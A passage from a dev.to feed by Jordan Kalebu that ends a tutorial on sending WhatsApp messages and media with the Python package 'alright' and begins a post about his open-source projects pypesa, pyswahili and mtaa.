&lt;p&gt;Now Let's dive in on how we can get started on sending messages and medias&lt;/p&gt;

&lt;h3&gt;
  
  
  Sending Messages
&lt;/h3&gt;

&lt;p&gt;To send a message with alright, you first need to target a specific user by using the &lt;em&gt;find_user()&lt;/em&gt; method, and then after that you can start sending messages to the target user using the &lt;em&gt;send_message()&lt;/em&gt; method as shown in the example below;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'2557xxxxxz'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'Morning my love'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'I wish you a good night!'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Multiple numbers
&lt;/h4&gt;

&lt;p&gt;Here how to send a message to multiple users, Let's say we wanta wish merry-x mass to all our contacts, our code is going to look like this;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'2557xxxxxx'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'2557xxxxxx'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'....'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"I wish you a Merry X-mass and Happy new year "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;You have to include the country code in your number for this library to work but don't include the (+) symbol&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Sending Images
&lt;/h3&gt;

&lt;p&gt;Sending message is nothing new, its just the fact you have to include a path to your image instead or raw string characters and also you have use &lt;em&gt;send_image()&lt;/em&gt;, Here an example;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt; &lt;span class="n"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'mobile'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'path-to-image'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sending Videos
&lt;/h3&gt;

&lt;p&gt;Samewise to videos just &lt;em&gt;send_videos()&lt;/em&gt;  method;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'mobile'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_video&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'path-to-video)

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sending Documents
&lt;/h3&gt;

&lt;p&gt;The rest of the documents such as docx, pdf, audio, you name it falls into the category of documents and you can &lt;em&gt;send_files()&lt;/em&gt; to that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;alright&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WhatsApp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'mobile'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'path-to-file'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Well thats all for now for the package, to request new feature make an issue to the official repository.&lt;/p&gt;

&lt;h2&gt;
  
  
  Contributions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;alright&lt;/strong&gt; is an open-source package under &lt;strong&gt;MIT&lt;/strong&gt; license, so contributions are warmly welcome whether that be a code, docs or typo just fork it.&lt;/p&gt;

&lt;p&gt;when contributing to code please make an issue for that before going making your changes so that we can have a prior discussion on implementation&lt;/p&gt;

&lt;h2&gt;
  
  
  Issues
&lt;/h2&gt;

&lt;p&gt;If you're facing any issue or difficulty with the usage of the package just raise one so as we can fix it as soon as possible.&lt;/p&gt;

&lt;h2&gt;
  
  
  Give it a star
&lt;/h2&gt;

&lt;p&gt;Was this useful to you? then give it a star so that more people can know about this. &lt;/p&gt;

&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;

&lt;p&gt;All the credits to;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/kalebu"&gt;kalebu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/shauryauppal/"&gt;shauryauppal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;and all the contributors&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>python</category>
      <category>opensource</category>
      <category>programming</category>
      <category>showdev</category>
    </item>
    <item>
      <title>My Journey as Opensource Contributor</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Fri, 07 May 2021 22:57:15 +0000</pubDate>
      <link>https://dev.to/kalebu/my-journey-as-opensource-contributor-2fpc</link>
      <guid>https://dev.to/kalebu/my-journey-as-opensource-contributor-2fpc</guid>
      <description>&lt;p&gt;Hi everyone, &lt;/p&gt;

&lt;p&gt;This article originally started as a &lt;a href="https://twitter.com/j_kalebu" rel="noopener noreferrer"&gt;thread&lt;/a&gt; on Twitter and then decided to make an article about it regarding my journey as an open-source contributor, Hope you will enjoy it, take your time &lt;/p&gt;

&lt;p&gt;Early 2020 I started a journey as a content creator whereby I have been writing technical content on Software Development mostly being focused on the Python stack.&lt;/p&gt;

&lt;p&gt;In the last 5 months, I began a new journey as an opensource contributor, and up to date I have contributed to 8 different python packages&lt;/p&gt;

&lt;p&gt;In this article, I'm going to share my journey as 5 months old contributor and my thoughts on contributing to opensource.&lt;/p&gt;

&lt;h2&gt;
  
  
  Start of the Journey
&lt;/h2&gt;

&lt;p&gt;The Journey started in December 2020 when Vodacom released their public &lt;a href="https://openapiportal.m-pesa.com/sign-up" rel="noopener noreferrer"&gt;Mpesa Payment API&lt;/a&gt;, As I was looking for a way to integrate with python I came across their implementation for a python wrapper. &lt;/p&gt;

&lt;p&gt;I hardly understood it, and usage seems unpythonic to me, I then convinced myself it could be better than that and immediately started my very first opensource project (pypesa) for its re-implementation. &lt;/p&gt;

&lt;p&gt;It wasn't easy, a lot of googling and StackOverflow, but eventually, I was able to come up with something that actually worked, and I finally ported it to PyPI. &lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Neurotech-HQ" rel="noopener noreferrer"&gt;
        Neurotech-HQ
      &lt;/a&gt; / &lt;a href="https://github.com/Neurotech-HQ/pypesa" rel="noopener noreferrer"&gt;
        pypesa
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Python wrapper on Mpesa public API for mobile Payment Integration 
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;&lt;a href="http://kalebu.github.io/pypesa" rel="nofollow noopener noreferrer"&gt;pypesa&lt;/a&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://kalebu.github.io/pypesa/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FNeurotech-HQ%2Fpypesaassets%2Fpypesa-banner.png" alt="Pypesa banner"&gt;&lt;/a&gt;
&lt;a href="https://badge.fury.io/py/python-pesa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5587ba30e95f066744307665b6a78b55138a70312d6e5a8edb125de963ff80d8/68747470733a2f2f62616467652e667572792e696f2f70792f707974686f6e2d706573612e737667" alt="PyPI version"&gt;&lt;/a&gt;
&lt;a href="https://github.com/Kalebu/pypesa" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5519893b80e1dbdd7632273e9953e3ef5437f3ff676f8d2e1f3e42c81009ed37/68747470733a2f2f62616467656e2e6e65742f6769746875622f72656c65617365732f6b616c6562752f707970657361" alt="Releases"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/python-pesa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/6bec077b93af3eea2a19efdedba00f7011fe2b4b1e199b9dc4a9da380774b307/68747470733a2f2f706570792e746563682f62616467652f707974686f6e2d70657361" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/python-pesa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/7768cff82b2f303244adce7fd5826cd6471a889336986c93bedd49ca29a65537/68747470733a2f2f706570792e746563682f62616467652f707974686f6e2d706573612f6d6f6e7468" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/python-pesa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/4ea0d3e69030c709c7e14d845c3b31766f04c2a71d60143eb912d505109fce64/68747470733a2f2f706570792e746563682f62616467652f707974686f6e2d706573612f7765656b" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://opensource.org/licenses/MIT" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/6cd0120cc4c5ac11d28b2c60f76033b52db98dac641de3b2644bb054b449d60c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e737667" alt="License: MIT"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Python wrapper on &lt;strong&gt;Mpesa public API&lt;/strong&gt; for mobile Payment Integration made with care to offer easy and elegant integration made by &lt;a href="https://github.com/kalebu" rel="noopener noreferrer"&gt;kalebu&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/kalebujordan" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FNeurotech-HQ%2Fpypesaassets%2Fbecome_a_patron_button.png" alt="Become a patron"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Implemented Features&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;The following are the features that are supported by the &lt;strong&gt;Mpesa&lt;/strong&gt; public API and require the &lt;strong&gt;python&lt;/strong&gt; implementation.&lt;/p&gt;
&lt;ul class="contains-task-list"&gt;
&lt;li class="task-list-item"&gt;
 Customer to Bussiness (C2B) Single Payment&lt;/li&gt;
&lt;li class="task-list-item"&gt;
 Bussiness to Customer (B2C)&lt;/li&gt;
&lt;li class="task-list-item"&gt;
 Bussiness to Bussiness (B2B)&lt;/li&gt;
&lt;li class="task-list-item"&gt;
 Payment Reversal&lt;/li&gt;
&lt;li class="task-list-item"&gt;
 Query Transaction status&lt;/li&gt;
&lt;li class="task-list-item"&gt;
 Direct debit creation and Payment&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Documentation&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Full documentation can be found on &lt;a href="http://kalebu.github.io/pypesa" rel="nofollow noopener noreferrer"&gt;pypesa&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Getting started&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Getting started with &lt;strong&gt;pypesa&lt;/strong&gt; is pretty straight forward and can be categorized&lt;/p&gt;
&lt;p&gt;into steps shown below.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sign up for Mpesa Developer portal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the &lt;a href="http://kalebu.github.io/pypesa" rel="nofollow noopener noreferrer"&gt;pypesa&lt;/a&gt; package using &lt;strong&gt;pip&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build your services with &lt;strong&gt;pypesa&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Signing up&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;To sign up for Mpesa public API visit &lt;a href="https://openapiportal.m-pesa.com/sign-up" rel="nofollow noopener noreferrer"&gt;Mpesa-API&lt;/a&gt; and then&lt;/p&gt;
&lt;p&gt;you can go through &lt;a href="https://dev.to/alphaolomi/getting-started-with-mpesa-developer-portal-46a4" rel="nofollow"&gt;getting started Mpesa Developer portal&lt;/a&gt;
by &lt;a href="https://github.com/alphaolomi" rel="noopener noreferrer"&gt;alphaolomi&lt;/a&gt; to see how.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;To install the &lt;strong&gt;pypesa&lt;/strong&gt; package to your machine you can either&lt;/p&gt;
&lt;p&gt;install…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Neurotech-HQ/pypesa" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;It now has over 1.9K downloads&lt;/p&gt;

&lt;p&gt;It was so fulfilling to me seeing other people using something I crafted and that good feeling lead me to meditate and rethink that I might able to do more to the opensource community taking apart Mpesa package.&lt;/p&gt;

&lt;p&gt;For a long time, I have been wishing and admiring being an open-source contributor, inspired by the fact that most software we use today in some ways relies upon OSS whereby people dedicate their time, skills, and effort to build something that we can all use for free. &lt;/p&gt;

&lt;p&gt;That single contribution to the Mpesa package helped overcome the imposter syndrome of feeling unskilled enough and contributed anyway which keep me moving through the rest of the journey &lt;/p&gt;

&lt;h2&gt;
  
  
  Pyswahili
&lt;/h2&gt;

&lt;p&gt;The same month I started pypesa I opened a new repository titled &lt;em&gt;pyswahili&lt;/em&gt; while procrastinating preparing a  talk for Pycon Tanzania, envisioning to be the Swahili version of python programming language. &lt;/p&gt;

&lt;p&gt;Honestly speaking, I didn't intend to begin working on this project anytime soon but it changed when I saw the repository with a 0 line code gaining stars and people are betting on it and I said to myself I need to make it real.&lt;/p&gt;

&lt;p&gt;Well after a couple of weeks I managed to come with an early implementation of pyswahili with a couple of bugs like replacing non-keyword strings, lack of an interactive repl, unstructured packaging. &lt;/p&gt;

&lt;p&gt;I then shared the early implementation with my fellow devs and they were really excited which lead the repo itself to gain a few contributors and a little bit more stars &lt;/p&gt;

&lt;p&gt;Recently I managed to port to PyPI and up to date it has  been downloaded by over 0.8K&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;
        Kalebu
      &lt;/a&gt; / &lt;a href="https://github.com/Kalebu/pyswahili" rel="noopener noreferrer"&gt;
        pyswahili
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A Swahili version of programming language to allow Swahili speakers get started with programming 
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;&lt;a href="https://github.com/Kalebu/pyswahili#" rel="noopener noreferrer"&gt;pyswahili&lt;/a&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Pyswahili&lt;/strong&gt; is a light weight python library that helps you write your python code in Swahili.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/Kalebu/pyswahili" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/c2baee6d43ee0480a160a6bb03410820b7763382865b8b9d1954a087aeb8df8c/68747470733a2f2f62616467656e2e6e65742f6769746875622f72656c65617365732f6b616c6562752f707973776168696c69" alt="Releases"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pyswahili" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/ff92ed595543e3f58498019d1d07eb40014469cef1931bd2ab4049e9d55729ec/68747470733a2f2f706570792e746563682f62616467652f707973776168696c69" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pyswahili" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/49b15490b3d80847114a61a9c6d96f5e26bc5368e5eecc2f7dde7c54b84a0790/68747470733a2f2f706570792e746563682f62616467652f707973776168696c692f6d6f6e7468" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pyswahili" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/03594e7e27930f94c5c84c76a4884a0580bc235c083a4c156ef3ed23b43c5bf0/68747470733a2f2f706570792e746563682f62616467652f707973776168696c692f7765656b" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://opensource.org/licenses/MIT" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/6cd0120cc4c5ac11d28b2c60f76033b52db98dac641de3b2644bb054b449d60c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e737667" alt="License: MIT"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pyswahili&lt;/strong&gt; is not a completely independent language but more of a swahili version of &lt;strong&gt;python language&lt;/strong&gt;, syntax and language grammar is equivalent to python one with only change of &lt;strong&gt;keywords&lt;/strong&gt; from english to swahili.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Transipiler&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Transpiler(Pyswahili) translates swahili version of python to english version so that it can be intepreted by the &lt;code&gt;python Intepreter&lt;/code&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Pyswahili File extension ?&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;There is no official extension for pyswahili, so for now &lt;strong&gt;.py&lt;/strong&gt; is fine.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;What can you do with pyswahili ?&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Similar to Python, Pyswahili supports both modes; the Read-evaluate-print(&lt;strong&gt;Repl&lt;/strong&gt;) loop and &lt;code&gt;Script mode&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Repl enable you to interactively execute pyswahili code line by line without requiring to write a complete program while on other side &lt;strong&gt;Script mode&lt;/strong&gt; requires you to write your Pyswahili code on a file and run it…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Kalebu/pyswahili" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Mtaa
&lt;/h2&gt;

&lt;p&gt;The third package arose when I came across a Github repository consisting of data about all locations data in Tanzania grouped by region as CSV Files. &lt;/p&gt;

&lt;p&gt;I then thought how about organizing those data as a python package for easy accessibility and usage when it comes to building a real-life application with it.&lt;/p&gt;

&lt;p&gt;which leading creating mtaa, a python package just do that; &lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;
        Kalebu
      &lt;/a&gt; / &lt;a href="https://github.com/Kalebu/mtaa" rel="noopener noreferrer"&gt;
        mtaa
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A package consisting of all Tanzania locations from region to streets in an easily accessible way
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;&lt;a href="https://pypi.org/project/mtaa" rel="nofollow noopener noreferrer"&gt;mtaa&lt;/a&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://pepy.tech/project/mtaa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5999af6f89ce3e172f27307eeee62ce422d357ad2436ade203d758cc02b6d181/68747470733a2f2f706570792e746563682f62616467652f6d746161" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/mtaa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/13c175c346714b9ebc1213815ba217e7ec60c849d32986b541c7dcf94c9e863b/68747470733a2f2f706570792e746563682f62616467652f6d7461612f6d6f6e7468" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/mtaa" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/71cfb3965765f7367fa5f8cf21aed416f3cc2ce5607227fd59fa2987621fb858/68747470733a2f2f706570792e746563682f62616467652f6d7461612f7765656b" alt="Downloads"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A package consisting of all Tanzania locations from region to streets in a easy accessible way made by &lt;a href="https://github.com/kalebu" rel="noopener noreferrer"&gt;kalebu&lt;/a&gt;&lt;/p&gt;
